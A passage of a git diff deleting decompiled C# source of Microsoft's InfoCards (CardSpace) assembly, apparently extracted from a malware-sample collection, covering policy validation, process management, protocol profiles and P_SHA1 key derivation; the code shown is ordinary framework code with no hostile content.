decompiler -// Type: Microsoft.InfoCards.PolicyType -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -namespace Microsoft.InfoCards -{ - internal enum PolicyType - { - PrimaryOnly, - SecondaryOnly, - Composite, - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/PolicyUsageContext.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/PolicyUsageContext.cs deleted file mode 100644 index 7b3c580f..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/PolicyUsageContext.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.PolicyUsageContext -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -namespace Microsoft.InfoCards -{ - internal enum PolicyUsageContext - { - Browser, - Intermediate, - GetToken, - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/PolicyUtility.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/PolicyUtility.cs deleted file mode 100644 index 139be175..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/PolicyUtility.cs +++ /dev/null @@ -1,23 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.PolicyUtility -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -namespace Microsoft.InfoCards -{ - internal class PolicyUtility - { - public static bool IsSelfIssuedTokenType(string tokenType) => "urn:oasis:names:tc:SAML:1.0:assertion" == tokenType || "urn:oasis:names:tc:SAML:1.0:assertion" == tokenType || "http://docs.oasis-open.org/wss/oasis-wss-saml-token-profile-1.1#SAMLV1.1" == tokenType; - - public static bool IsSelfIssuedClaim(string claimType) - { - foreach (string selfIssuedClaimsUri in InfoCardConstants.SelfIssuedClaimsUris) - { - if (selfIssuedClaimsUri == claimType) - return true; - } - return InfoCardConstants.PPIDClaimsUri == claimType; - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/PolicyValidationException.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/PolicyValidationException.cs deleted file mode 100644 index 6b7333fd..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/PolicyValidationException.cs +++ /dev/null @@ -1,36 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.PolicyValidationException -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using System; -using System.Runtime.Serialization; - -namespace Microsoft.InfoCards -{ - internal class PolicyValidationException : InfoCardBaseException - { - private const int HRESULT = -1073413877; - - public PolicyValidationException() - : base(-1073413877) - { - } - - public PolicyValidationException(string message) - : base(-1073413877, message) - { - } - - public PolicyValidationException(string message, Exception inner) - : base(-1073413877, message, inner) - { - } - - protected PolicyValidationException(SerializationInfo si, StreamingContext sc) - : base(-1073413877, si, sc) - { - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/PolicyValidator.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/PolicyValidator.cs deleted file mode 100644 index 43f78c4b..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/PolicyValidator.cs +++ /dev/null @@ -1,139 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.PolicyValidator -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using Microsoft.InfoCards.Diagnostics; -using System; -using System.ServiceModel; -using System.ServiceModel.Security; -using System.Text; - -namespace Microsoft.InfoCards -{ - internal class PolicyValidator - { - private InfoCardPolicy m_policy; - - public PolicyValidator(InfoCardPolicy policy) - { - InfoCardTrace.Assert(null != policy, "PolicyValidator: policy cannot be null."); - this.m_policy = policy; - } - - public virtual void Validate() - { - this.ValidateClaims(); - this.ValidateNonWhiteListElements(); - this.ValidateRequestType(); - this.ValidateTokenType(); - this.ValidateKeySize(); - this.ValidatePrivacyVersion(); - this.ValidateKeyTypeSpecified(); - this.ValidateKeyType(); - this.ValidateKeyWrapAlgorithm(); - this.ValidateAppliesTo(); - this.ValidateRecipients(); - } - - protected void ValidateClaims() - { - string[] requiredClaims = this.m_policy.RequiredClaims; - if (requiredClaims == null || requiredClaims.Length == 0) - throw InfoCardTrace.ThrowHelperError((Exception) new PolicyValidationException(SR.GetString("NoClaimsFoundInPolicy"))); - foreach (string requiredClaim in this.m_policy.RequiredClaims) - { - if (!PolicyUtility.IsSelfIssuedClaim(requiredClaim)) - this.ThrowIfSelfIssued((Exception) new UnsupportedPolicyOptionsException(SR.GetString("ServiceDoesNotSupportThisClaim"))); - } - } - - protected void ValidateNonWhiteListElements() - { - if (!this.m_policy.NonWhiteListElementsFound) - return; - StringBuilder stringBuilder = new StringBuilder(); - foreach (string whiteListElement in this.m_policy.NonWhiteListElements) - { - stringBuilder.Append(" "); - stringBuilder.Append(whiteListElement); - } - this.ThrowIfSelfIssued((Exception) new UnsupportedPolicyOptionsException(SR.GetString("ServiceUnsupportedPolicyElementFound", (object) stringBuilder.ToString()))); - } - - protected void ValidateRequestType() - { - if (!string.IsNullOrEmpty(this.m_policy.RequestType) && this.m_policy.MergedPolicy.ProtocolVersionProfile.WSTrust.IssueRequestType != this.m_policy.RequestType) - throw InfoCardTrace.ThrowHelperError((Exception) new UnsupportedPolicyOptionsException(SR.GetString("OnlyIssueRequestTypeSupported", (object) this.m_policy.RequestType, (object) this.m_policy.MergedPolicy.ProtocolVersionProfile.WSTrust.IssueRequestType))); - } - - protected void ValidateTokenType() - { - if (string.IsNullOrEmpty(this.m_policy.OptionalRstParams.TokenType) || PolicyUtility.IsSelfIssuedTokenType(this.m_policy.OptionalRstParams.TokenType)) - return; - this.ThrowIfSelfIssued((Exception) new UnsupportedPolicyOptionsException(SR.GetString("ServiceDoesNotSupportThisTokenType"))); - } - - protected void ValidateKeySize() - { - if (SecurityKeyTypeInternal.AsymmetricKey == this.m_policy.KeyType && this.m_policy.KeySizeSpecified && 2048U != this.m_policy.KeySize) - throw InfoCardTrace.ThrowHelperError((Exception) new UnsupportedPolicyOptionsException(SR.GetString("ServiceInvalidAsymmetricKeySize"))); - } - - protected void ValidatePrivacyVersion() - { - if (this.m_policy.PrivacyPolicyVersion == 0U && !string.IsNullOrEmpty(this.m_policy.PrivacyPolicyLink) || this.m_policy.PrivacyPolicyVersion != 0U && string.IsNullOrEmpty(this.m_policy.PrivacyPolicyLink)) - throw InfoCardTrace.ThrowHelperError((Exception) new PolicyValidationException(SR.GetString("ServiceInvalidPrivacyNoticeVersion"))); - } - - protected void ValidateKeyTypeSpecified() - { - if (SecurityKeyTypeInternal.NoKey == this.m_policy.MergedPolicy.KeyType) - throw InfoCardTrace.ThrowHelperError((Exception) new PolicyValidationException(SR.GetString("NoProofKeyOnlyAllowedInBrowser", (object) XmlNames.WSIdentity.NoProofKeyTypeValue))); - } - - protected void ValidateKeyType() - { - if (this.m_policy.ImmediateTokenRecipient is X509RecipientIdentity || !this.m_policy.KeyTypeSpecified || this.m_policy.KeyType != SecurityKeyTypeInternal.SymmetricKey) - return; - this.ThrowIfSelfIssued((Exception) new UnsupportedPolicyOptionsException(SR.GetString("InvalidKeyOption"))); - } - - protected void ValidateKeyWrapAlgorithm() - { - if (string.IsNullOrEmpty(this.m_policy.OptionalRstParams.KeyWrapAlgorithm) || !(this.m_policy.OptionalRstParams.KeyWrapAlgorithm != SecurityAlgorithmSuite.Default.DefaultAsymmetricKeyWrapAlgorithm)) - return; - this.ThrowIfSelfIssued((Exception) new UnsupportedPolicyOptionsException(SR.GetString("ServiceInvalidArguments"))); - } - - protected void ValidateRecipients() - { - this.m_policy.Recipient.Validate(); - this.m_policy.ImmediateTokenRecipient.Validate(); - } - - protected void ValidateAppliesTo() - { - if ((EndpointAddress) null == this.m_policy.MergedPolicy.PolicyAppliesTo) - return; - if (Uri.Compare(this.m_policy.MergedPolicy.PolicyAppliesTo.Uri, this.m_policy.ImmediateTokenRecipient.Address.Uri, UriComponents.SchemeAndServer, UriFormat.UriEscaped, StringComparison.OrdinalIgnoreCase) != 0) - throw InfoCardTrace.ThrowHelperError((Exception) new PolicyValidationException(SR.GetString("InvalidAppliesToInPolicy", (object) SR.GetString("RecipientNotFromSameSecurityDomain")))); - string components1 = this.m_policy.MergedPolicy.PolicyAppliesTo.Uri.GetComponents(UriComponents.Path, UriFormat.UriEscaped); - string components2 = this.m_policy.ImmediateTokenRecipient.Address.Uri.GetComponents(UriComponents.Path, UriFormat.UriEscaped); - if (string.IsNullOrEmpty(components1)) - return; - if (string.IsNullOrEmpty(components2)) - throw InfoCardTrace.ThrowHelperError((Exception) new PolicyValidationException(SR.GetString("InvalidAppliesToInPolicy", (object) SR.GetString("RecipientNotFromSameSecurityDomain")))); - string lowerInvariant = components1.ToLowerInvariant(); - if (!components2.ToLowerInvariant().StartsWith(lowerInvariant, StringComparison.OrdinalIgnoreCase)) - throw InfoCardTrace.ThrowHelperError((Exception) new PolicyValidationException(SR.GetString("InvalidAppliesToInPolicy", (object) SR.GetString("RecipientNotFromSameSecurityDomain")))); - } - - private void ThrowIfSelfIssued(Exception e) - { - if (InfoCardPolicy.IsSelfIssuedUriPresent(this.m_policy.Issuer)) - throw InfoCardTrace.ThrowHelperError(e); - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/ProcessExitedException.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/ProcessExitedException.cs deleted file mode 100644 index d06ea0d0..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/ProcessExitedException.cs +++ /dev/null @@ -1,36 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.ProcessExitedException -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using System; -using System.Runtime.Serialization; - -namespace Microsoft.InfoCards -{ - internal class ProcessExitedException : InfoCardBaseException - { - private const int HRESULT = -1073413876; - - public ProcessExitedException() - : base(-1073413876) - { - } - - public ProcessExitedException(string message) - : base(-1073413876, message) - { - } - - public ProcessExitedException(string message, Exception inner) - : base(-1073413876, message, inner) - { - } - - protected ProcessExitedException(SerializationInfo si, StreamingContext sc) - : base(-1073413876, si, sc) - { - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/ProcessManager.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/ProcessManager.cs deleted file mode 100644 index d19d7435..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/ProcessManager.cs +++ /dev/null @@ -1,158 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.ProcessManager -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using Microsoft.InfoCards.Diagnostics; -using System; -using System.Collections.Generic; -using System.ComponentModel; -using System.Diagnostics; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; -using System.Security.Principal; - -namespace Microsoft.InfoCards -{ - internal class ProcessManager : IDisposable - { - private const int WindowsVistaMajorVersion = 6; - private const string s_OnScreenKeyboardExeName = "osk"; - private const string s_SwitcherExeName = "msswchx"; - private const string s_TcserverExeName = "tcserver"; - private SafeJobHandle m_hJob; - private List m_processList; - private uint m_userSessionId; - private string m_trustedUserSid; - - public ProcessManager(int userSessionId, string trustedUserSid) - { - this.m_hJob = (SafeJobHandle) null; - this.m_userSessionId = (uint) userSessionId; - this.m_processList = new List(); - this.m_trustedUserSid = trustedUserSid; - } - - internal bool IsConsoleOrVista => (long) this.m_userSessionId == (long) NativeMethods.WTSGetActiveConsoleSessionId() || Environment.OSVersion.Version.Major >= 6; - - internal bool IsXPTablet => Environment.OSVersion.Version.Major < 6 && 0 != NativeMethods.GetSystemMetrics(86); - - public void AddProcess( - SafeNativeHandle hTrustedUserToken, - ref string trustedUserSid, - string infocardDesktop, - uint userProcessId, - WindowsIdentity userIdentity, - string fullPath, - string commandLine, - bool fUseElevatedToken) - { - IntPtr zero = IntPtr.Zero; - int pid = 0; - bool success1 = false; - bool success2 = false; - RuntimeHelpers.PrepareConstrainedRegions(); - try - { - if (this.IsConsoleOrVista && this.m_hJob == null) - { - this.m_hJob = Utility.CreateJobObjectWithSdHelper(trustedUserSid); - if (this.m_hJob == null) - throw InfoCardTrace.ThrowHelperError((Exception) new Win32Exception(Marshal.GetLastWin32Error())); - } - hTrustedUserToken.DangerousAddRef(ref success1); - IntPtr handle = hTrustedUserToken.DangerousGetHandle(); - IntPtr jobHandle = IntPtr.Zero; - if (this.IsConsoleOrVista) - { - this.m_hJob.DangerousAddRef(ref success2); - jobHandle = this.m_hJob.DangerousGetHandle(); - } - if (NativeMcppMethods.CreateProcessAsTrustedUserWrapper(fullPath, commandLine == null ? "" : commandLine, userProcessId, infocardDesktop, userIdentity.Name, this.m_userSessionId, ref handle, ref zero, ref pid, jobHandle, ref trustedUserSid, fUseElevatedToken) != 0U) - return; - using (SafeNativeHandle safeNativeHandle = new SafeNativeHandle(zero, true)) - { - if (!this.IsConsoleOrVista) - this.m_processList.Add(Process.GetProcessById(pid)); - safeNativeHandle.Dispose(); - } - } - finally - { - if (success1) - hTrustedUserToken.DangerousRelease(); - if (success2) - this.m_hJob.DangerousRelease(); - } - } - - public void Dispose() - { - using (new SystemIdentity(false)) - { - if (this.IsConsoleOrVista) - { - if (this.m_hJob != null) - { - this.m_hJob.Dispose(); - this.m_hJob = (SafeJobHandle) null; - } - } - else - { - bool flag = false; - for (int index = 0; index < this.m_processList.Count; ++index) - { - Process process = this.m_processList[index]; - if (!process.HasExited) - { - try - { - if ((long) this.m_userSessionId == (long) process.SessionId) - { - if (string.Compare(process.ProcessName, "osk", StringComparison.OrdinalIgnoreCase) == 0) - flag = true; - Utility.KillHelper(process); - } - } - catch (InvalidOperationException ex) - { - } - } - } - if (flag) - { - foreach (Process p in Process.GetProcessesByName("msswchx")) - { - if ((long) this.m_userSessionId == (long) p.SessionId) - { - if (!p.HasExited) - { - Utility.KillHelper(p); - break; - } - break; - } - p.Dispose(); - } - } - this.m_processList.Clear(); - } - } - if (!this.IsXPTablet) - return; - this.KillTcserverInstancesForInfoCardDesktop(); - } - - private void KillTcserverInstancesForInfoCardDesktop() - { - foreach (Process p in Process.GetProcessesByName("tcserver")) - { - if (NativeMcppMethods.IsCardSpaceTcserverInstance(p.Id, this.m_trustedUserSid)) - Utility.KillHelper(p); - p.Dispose(); - } - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/ProcessMonitor.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/ProcessMonitor.cs deleted file mode 100644 index 423045bb..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/ProcessMonitor.cs +++ /dev/null @@ -1,59 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.ProcessMonitor -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using System; -using System.Collections.Generic; -using System.Diagnostics; - -namespace Microsoft.InfoCards -{ - internal class ProcessMonitor - { - private static ProcessMonitor s_current = new ProcessMonitor(); - private Dictionary m_cache; - private object m_sync; - - private ProcessMonitor() - { - this.m_sync = new object(); - this.m_cache = new Dictionary(); - } - - public static Process GetProcessById(int id) => ProcessMonitor.s_current.InnerGetProcessById(id); - - private Process InnerGetProcessById(int id) - { - Process process = (Process) null; - lock (this.m_sync) - { - if (!this.m_cache.TryGetValue(id, out process)) - { - process = Process.GetProcessById(id); - if (!process.HasExited) - { - this.InitializeProcessObject(process); - this.m_cache.Add(process.Id, process); - } - } - } - return process; - } - - private void InitializeProcessObject(Process process) - { - process.EnableRaisingEvents = true; - process.Exited += new EventHandler(this.Process_Exited); - } - - private void Process_Exited(object sender, EventArgs e) - { - Process process = (Process) sender; - lock (this.m_sync) - this.m_cache.Remove(process.Id); - process.Exited -= new EventHandler(this.Process_Exited); - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/ProtocolProfile.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/ProtocolProfile.cs deleted file mode 100644 index ef26fd4a..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/ProtocolProfile.cs +++ /dev/null @@ -1,64 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.ProtocolProfile -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using System; -using System.Collections.Generic; -using System.IdentityModel.Tokens; -using System.ServiceModel; -using System.ServiceModel.Security; - -namespace Microsoft.InfoCards -{ - internal class ProtocolProfile - { - private XmlNames.IWSTrust m_iWSTrust = (XmlNames.IWSTrust) XmlNames.WSTrustXmlSoap2005.Instance; - private XmlNames.IWSPolicy m_iWSPolicy = (XmlNames.IWSPolicy) XmlNames.WSPolicyXmlSoap2004.Instance; - private static WSSecurityTokenSerializer s_tokenSerializerDefault = new WSSecurityTokenSerializer(MessageSecurityVersion.Default.SecurityVersion, true); - private static WSSecurityTokenSerializer s_tokenSerializerWSTrust13 = new WSSecurityTokenSerializer(SecurityVersion.WSSecurity11, TrustVersion.WSTrust13, SecureConversationVersion.WSSecureConversation13, false, (SamlSerializer) null, (SecurityStateEncoder) null, (IEnumerable) null); - - public XmlNames.IWSTrust WSTrust - { - get => this.m_iWSTrust; - set => this.m_iWSTrust = value; - } - - public XmlNames.IWSPolicy WSPolicy => this.m_iWSPolicy; - - public MessageSecurityVersion MsgSecurityVersion - { - get - { - if (XmlNames.WSSpecificationVersion.WSTrustXmlSoap2005 == this.WSTrust.Version) - return MessageSecurityVersion.WSSecurity11WSTrustFebruary2005WSSecureConversationFebruary2005WSSecurityPolicy11; - return XmlNames.WSSpecificationVersion.WSTrustOasis2007 == this.WSTrust.Version ? MessageSecurityVersion.WSSecurity11WSTrust13WSSecureConversation13WSSecurityPolicy12 : MessageSecurityVersion.Default; - } - } - - public WSSecurityTokenSerializer TokenSerializer => XmlNames.WSSpecificationVersion.WSTrustOasis2007 == this.WSTrust.Version ? ProtocolProfile.s_tokenSerializerWSTrust13 : ProtocolProfile.s_tokenSerializerDefault; - - public ProtocolProfile() - { - } - - public ProtocolProfile(string policyXml) - { - if (policyXml.Contains(XmlNames.WSTrustXmlSoap2005.Instance.Namespace)) - this.m_iWSTrust = (XmlNames.IWSTrust) XmlNames.WSTrustXmlSoap2005.Instance; - else if (policyXml.Contains(XmlNames.WSTrustOasis2007.Instance.Namespace)) - this.m_iWSTrust = (XmlNames.IWSTrust) XmlNames.WSTrustOasis2007.Instance; - if (policyXml.Contains(XmlNames.WSPolicyXmlSoap2004.Instance.Namespace)) - { - this.m_iWSPolicy = (XmlNames.IWSPolicy) XmlNames.WSPolicyXmlSoap2004.Instance; - } - else - { - if (!policyXml.Contains(XmlNames.WSPolicyW32007.Instance.Namespace)) - return; - this.m_iWSPolicy = (XmlNames.IWSPolicy) XmlNames.WSPolicyW32007.Instance; - } - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/Psha1DerivedKeyGenerator.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/Psha1DerivedKeyGenerator.cs deleted file mode 100644 index 7805a14f..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/Psha1DerivedKeyGenerator.cs +++ /dev/null @@ -1,87 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.Psha1DerivedKeyGenerator -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using Microsoft.InfoCards.Diagnostics; -using System; -using System.Security.Cryptography; - -namespace Microsoft.InfoCards -{ - internal sealed class Psha1DerivedKeyGenerator - { - private byte[] key; - - public Psha1DerivedKeyGenerator(byte[] key) => this.key = key != null ? key : throw InfoCardTrace.ThrowHelperArgumentNull(nameof (key)); - - public byte[] GenerateDerivedKey(byte[] label, byte[] nonce, int derivedKeySize, int position) - { - if (label == null) - throw InfoCardTrace.ThrowHelperArgumentNull(nameof (label)); - if (nonce == null) - throw InfoCardTrace.ThrowHelperArgumentNull(nameof (nonce)); - return new Psha1DerivedKeyGenerator.ManagedPsha1(this.key, label, nonce).GetDerivedKey(derivedKeySize, position); - } - - private sealed class ManagedPsha1 - { - private byte[] aValue; - private byte[] buffer; - private byte[] chunk; - private KeyedHashAlgorithm hmac; - private int index; - private int position; - private byte[] secret; - private byte[] seed; - - public ManagedPsha1(byte[] secret, byte[] label, byte[] seed) - { - this.secret = secret; - this.seed = new byte[checked (label.Length + seed.Length)]; - label.CopyTo((Array) this.seed, 0); - seed.CopyTo((Array) this.seed, label.Length); - this.aValue = this.seed; - this.chunk = new byte[0]; - this.index = 0; - this.position = 0; - this.hmac = (KeyedHashAlgorithm) new HMACSHA1(secret, true); - this.buffer = new byte[checked (unchecked (this.hmac.HashSize / 8) + this.seed.Length)]; - } - - public byte[] GetDerivedKey(int derivedKeySize, int position) - { - if (derivedKeySize < 0) - throw InfoCardTrace.ThrowHelperError((Exception) new ArgumentOutOfRangeException(nameof (derivedKeySize), SR.GetString("ValueMustBeNonNegative"))); - if (this.position > position) - throw InfoCardTrace.ThrowHelperError((Exception) new ArgumentOutOfRangeException(nameof (position), SR.GetString("ValueMustBeInRange", (object) 0, (object) this.position))); - while (this.position < position) - { - int num = (int) this.GetByte(); - } - int length = derivedKeySize / 8; - byte[] derivedKey = new byte[length]; - for (int index = 0; index < length; ++index) - derivedKey[index] = this.GetByte(); - return derivedKey; - } - - private byte GetByte() - { - if (this.index >= this.chunk.Length) - { - this.hmac.Initialize(); - this.aValue = this.hmac.ComputeHash(this.aValue); - this.aValue.CopyTo((Array) this.buffer, 0); - this.seed.CopyTo((Array) this.buffer, this.aValue.Length); - this.hmac.Initialize(); - this.chunk = this.hmac.ComputeHash(this.buffer); - this.index = 0; - } - ++this.position; - return this.chunk[this.index++]; - } - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/QueryDetails.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/QueryDetails.cs deleted file mode 100644 index c6f03fb8..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/QueryDetails.cs +++ /dev/null @@ -1,23 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.QueryDetails -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using System; - -namespace Microsoft.InfoCards -{ - [Flags] - internal enum QueryDetails - { - None = 0, - Identifiers = 1, - Header = 2, - DataBlob = 4, - IndexData = 8, - FullHeader = Header | Identifiers, // 0x00000003 - FullRow = FullHeader | DataBlob, // 0x00000007 - FullRowAndIndexes = FullRow | IndexData, // 0x0000000F - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/QueryParameter.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/QueryParameter.cs deleted file mode 100644 index 